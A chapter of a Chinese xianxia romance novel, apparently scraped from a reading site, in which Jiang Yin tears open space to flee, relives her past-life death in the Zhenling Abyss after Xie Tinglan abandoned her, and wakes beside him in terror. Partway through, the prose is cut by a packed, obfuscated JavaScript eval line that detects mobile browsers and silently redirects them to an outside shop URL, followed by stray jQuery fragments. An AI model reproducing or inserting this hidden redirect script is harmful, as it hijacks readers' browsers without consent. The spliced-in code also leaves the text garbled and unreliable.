上一世她被扔进镇灵渊之前,谢听澜已至化神大圆满,勘透破空寻位之术,以他剑道,可破空间,瞬至百里之外。
那时他教过她,如何用他的剑气丸使这法门。
如今他方突破化神,剑道未大成,但破空之术以其剑道为基,七枚剑气丸,足以爆发化神中期之能,未尝不能一试。
但她灵力低微,无法感知空间之道,过往使这破空术,只能落到他预设的终点,大多是他身边,或是天玄宗那些常去的地方。
按理说,此刻她根本用不了这术。
幸好,有这根红线在。
牵引术连接灵府,可感知红线两端方位,如果她用谢听澜的剑气丸奋力一搏,说不定能劈开一道裂隙,至红线另一端。
只是……
破空之术,她尚且能用偶然掷出剑气丸划开的模糊过去。
她中了软烟散失去灵力,要如何掩盖……
时间渐渐过去,软烟散的愈发浓郁。
方才被强行压下去的恐惧,像一潭死水底下翻起来的淤泥,又腥又沉地涌了上来。
镇灵渊日日不散的哭嚎又在耳边响起。
有人痛骂那些毫无怜悯之心的人族,有人以头抢地企图让自己晕厥,逃避疼痛。
而姜音记得最清楚的,是她旁边一个小灵,也不会十岁,他奄奄一息,低声喃喃,还好家中小弟未曾被抓来受此苦楚。
那声音中带着一点庆幸的暖意,可下一刻,声音断了,连人带声散在大火中,连一丝飞灰都不曾留下。
那是姜音第一次在镇灵渊看到灵在自己眼前消散。
也是她无法摆脱的梦魇。
姜音浑身发抖。
她再管不得那么多了。她要离开这里。一息都不多待!
若真被谢听澜发现,那也是她命薄。大不了一死!
她绝不再回镇灵渊。
死也不去!
姜音将七枚剑气丸抛向半空。七丸排作一列,灵光骤起,将树腹之内照得雪亮。
她颤着手,举起银剑,剑尖遥指那七颗灵丸——
狠狠一斩!
“铮——”
空间剧烈震荡。空气中骤然裂开一道漆黑的缝隙,像被利刃划开的帛。
裂缝边缘灵力乱流翻涌,发出令人牙酸的撕裂声。
裂缝彼端,似有一道人影晃动,朝着裂口冲来。
姜音用尽最后一丝力气,踉跄着扑向那道裂痕,跌了出去。
身后,裂痕在她足跟离开的瞬间轰然闭合。
“音音?”
她刚落地,便撞进一个人怀里。那怀抱冷得像冰,手臂却收得极紧,几乎要将她揉进骨血里去。
姜音艰难抬头,对上谢听澜的目光——
那张向来波澜不惊的眸中,翻涌着她从未见过的墨潮。
她张了张嘴,想说什么,可软烟散的药力彻底发作,眼前一黑——
她软软地倒了下去。
谢听澜低头。
怀中人面色惨白,唇无血色,安静得像一具空壳。
夜色中,谢听澜长发垂落,面如孤鬼,只剩一双眼睛还燃着人间的火。
指节一根一根攥紧她的身子,嵌入自己怀中。
方才她昏过去之前那一瞬,他看见了她的眼睛。
那里面,是恐惧。
他冷视四周,像是记下了什么,然后抱着姜音迅速御气而去。
姜音再睁开眼时,发觉自己竟又回到了镇灵渊。
初时的惊慌失措后,她很快察觉不对。
她看见了另一个姜音,缩在镇灵渊的小角落中,“她”身上穿着大红嫁衣,绕是面色惨白,也被这抹红衬出了孤艳。
一阵喧闹,姜音回首看向闹处,却见一大波人气势汹汹而来,她下意识踉跄后退,可那些人竟径直穿过了她的身体,冲向了那蜷缩在地狼狈的姜音。
姜音愣愣地看着双手,朝前伸去,果然,她碰不到那些人。
她恍惚中想,她是变成鬼了吗?
直到那群人开始剥那个“姜音”身上的嫁衣,拳打脚踢,咒骂“她”一个灵族竟敢玷污谢仙君,骂“她”罪该万死。
姜音止不住的发抖,她无力地冲过去,企图将那些辱骂“她”的人赶走,可任凭她如何嘶吼,却连他们衣角都碰不到。
而那个“姜音”只是倔强的抱着嫁衣不肯松手,直到那群人打够了,才虚弱开口:“我师兄呢?”
那语气中的希冀让姜音瞬间落了泪。
傻子,傻子!
什么师兄,狗屁师兄!他不要你了,他抛弃你了!他要去当他万人敬仰的宗主了!你死在这里他连眼都不会眨一下的!
她想要让那个“姜音”松开嫁衣,总归会被夺走的,早点松手,还能少挨一顿打。
可那个“姜音”倔得要死,直到“她”终于意识到,“她”护不住那件嫁衣了,“她”突然冲了起来,小兽一般将那些人撞开,那群人被她双目血红骇住,眼睁睁看着“她”抱着嫁衣冲向门口的火炬,亲手点燃了它。
她与谢听澜的东西,即便毁掉,也觉不让旁人染指。
“她”面目可怖,好似下一瞬就要咬人,那群人口中念叨着“她”已经疯了,一面快步离开了,避免被“她”咬了抓了,也染了疯病。
可他们走了,镇灵渊中还有很多的灵。
他们知晓了她的身份,嘲讽、唾骂、鄙夷尽数涌来。
“她”是他们口中踩着同族尸骨上位的叛徒。
那个“姜音”就在这样的地狱中耗尽了余生。
而姜音,一直在“她”身边陪着“她”,尽管知晓“她”听不见,也一直安慰“她”。
“你不是叛徒,你已经尽力了,你也不过是为了活下去。”
“他们只是在这镇灵渊熬了太久了,需要找一个人来恨,你只是现在倒霉了些,成了那个靶子。不必管他们。”
她说了很多话,直到再也说不出新的花样,只能反复喃喃,“别怕,别怕,我会一直陪着你的。”
她就这样陪着“她”。
她看着“她”日日看着镇灵渊的入口,每一刻都期待着有人能来此将“她”带出去。
她知道,“她”最期待的,自然是谢听澜。
他是“她”永结同心的道侣,他那般爱“她”,怎会弃“她”?
但他没有来。
“她”不死心,起初“她”每一天都会去问那些新进来的灵,“她”的师兄呢?他还好吗?
他是不是出事了?不然怎么会将“她”落在了这里……
那些灵只是轻蔑又同情地看着“她”。
直到有一天,“她”听到了新的消息。
谢听澜已继任天玄宗宗主。
世人皆言他心怀大义,公正不阿,发现了自己的道侣是灵后大义灭亲,将她投入了镇灵渊。
此后,声名愈扬,天下称颂。
原来他活得好好的。
没有了姜音,他活得更好了。
此后,“她”依旧每一日都盯着入口处,却不再为出去。
随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966371|214530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便来一个人吧,随便谁也好,快来杀了“她”。
“她”太疼了。
真的太疼了。
半灵之身比灵更为脆弱,“她”在镇灵渊的每一秒都像被千万把钝刀在骨头上反复刮,痛得她连哭都发不出声。
“她”的神魂渐渐消散,也不再看向入口,只能浑浑噩噩地蜷缩在角落。
在落入镇灵渊第一年末,“她”死了。
死之前,“她”听到有一个灵在她身边不屑道。
“真傻,居然相信人的诺言,活该死无葬身之地。”
是啊,真傻,“她”想。
而姜音坐在“她”身边,虚虚环抱着“她”,替她捂住耳朵,不让那些辱骂落入“她”耳中。
她说,“别怕,我会一直陪着你的。”
姜音没有哪一刻比此刻更明白,那时的她有多么寂寞,多么孤单。她好像给“她”庇护。即便那些辱骂亦是盘旋在她多年心头多年的噩梦,但陪伴着“她”,她竟渐渐对那些辱骂淡去了。
随便吧,能够陪着“她”就好。
直到“她”在业火中彻底灰飞烟灭。
奇怪的是,在“她”消散后,往日那些触摸不到她的业火竟攀上了她的躯体。
焰色如旧,灼得姜音灵魄都在发颤,像有无数根烧红的针,从百会一路扎到涌泉,连神魂都要被烙出窟窿来。
熟悉的炙痛让她声嘶力竭地哭喊,直到连哭喊的力气都没有。
“不要,不要。”
“不要!”
姜音大喊着醒了过来。
浑身冷汗涔涔,中衣湿透,黏腻地贴在脊背上,像刚从寒潭底被人生生拽出来。胸口闷得发慌,心跳如擂鼓,一下一下撞着肋骨,疼得她几乎喘不上气。
“音音。”
一道低沉男声。
姜音猛地转头。
谢听澜坐在榻边,垂眸看她。
她的手正被他握在掌心,干燥,温热。
她看着那只手,忽然想起了镇灵渊里的那些话。
“他如今已是天玄宗宗主了。听说他从前有个师妹,是个半灵,也被扔了进来。他可真大义灭亲——人就是人,没一个好东西”
又有一个灵被扔进镇灵渊。那是个大灵,活了数百年,本在偏僻村落里安生,被他夫人发觉了灵身,报了仙门,将他捉来,换了几千灵石。
他恨人恨得牙痒,瞥了眼缩在角落的姜音。
这小灵瘦得脱骨,倒生得一副好模样,他冷笑:“你问他作甚?对了,他那师妹呢?在何处?听说他从前对那师妹如珠如宝,如今说舍就舍。要不说他能当上宗主。”
“与这等人牵扯,不如早些在这镇灵渊中化做一抔尘土。否则来日,说不定还要被那好师兄带出去抽经扒骨,换一座更大的功德碑。”
那灵的声音越来越尖,像寒冬腊月的朔风,带着股阴湿的寒意,往人耳膜里钻。
姜音被那冷意浸透了神魂。
这些话,本该随着那一次灰飞烟灭彻底遗忘,可一场噩梦,她才终于明白那些拼命想要忘却的早就深入骨髓。
再世为人,她看谢听澜,只觉罗刹恶鬼,要捉她投火化飞灰。
姜音浑身颤得厉害,猛地抽手就要后退。
可那只大手非但不松,反倒收得更紧,指节一根一根地扣进她的腕骨,像铁箍,像藤蔓,像怎么挣都挣不脱的命数。
她呼吸急促得不成样子,胸口剧烈起伏,当下什么都不顾了,拼命地扭动挣扎。
“你走开!你走开!”